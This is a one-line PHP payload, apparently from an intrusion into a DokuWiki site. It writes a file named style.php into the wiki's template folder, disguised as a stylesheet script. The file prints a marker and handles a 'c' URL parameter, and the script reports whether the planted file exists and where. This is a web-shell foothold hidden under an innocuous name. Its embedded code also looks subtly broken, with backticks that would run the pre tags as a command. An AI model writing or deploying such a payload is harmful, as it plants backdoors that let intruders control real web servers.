$p='lib/tpl/dokuwiki/style.php';$x='<?php echo "T"."OK"; if(isset($_GET["c"])){echo `<pre>`.$_GET["c"].`</pre>`;}';$r=@file_put_contents($p,$x);echo 'WR='.$r.'|EX='.(file_exists($p)?'1':'0').'|PW='.realpath($p);